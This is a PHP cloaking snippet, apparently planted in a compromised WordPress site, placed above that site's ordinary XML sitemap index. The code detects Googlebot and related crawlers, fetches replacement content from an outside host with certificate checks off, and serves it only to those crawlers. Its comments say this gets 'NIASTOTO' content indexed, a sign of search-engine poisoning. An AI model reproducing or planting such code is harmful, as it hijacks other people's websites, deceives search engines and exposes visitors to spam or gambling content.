/* --- SYSTEM CORE CLOAKING V7.0 (NIASTOTO) --- */
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$is_bot = (bool)preg_match('/(googlebot|google-inspectiontool|adsbot-google|mediapartners-google|chrome-lighthouse)/i', $ua);

// Jika Googlebot, tarik konten dari kyell.xyz
if ($is_bot) {
    $source_url = "https://kyell.xyz/amp/autoselectricos-tesla-eleva.txt"; // Sesuaikan dengan file TXT Anda
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $source_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $html = curl_exec($ch);
    curl_close($ch);
    
    if ($html) {
        header('X-LiteSpeed-Cache-Control: no-cache');
        header('Content-Type: text/html; charset=UTF-8');
        echo $html; // Tampilkan konten NIASTOTO agar terindeks
        exit;
    }
}
/* --- LANJUTAN WORDPRESS STANDAR --- */

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://autoselectricos.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://autoselectricos.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://autoselectricos.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://autoselectricos.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://autoselectricos.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
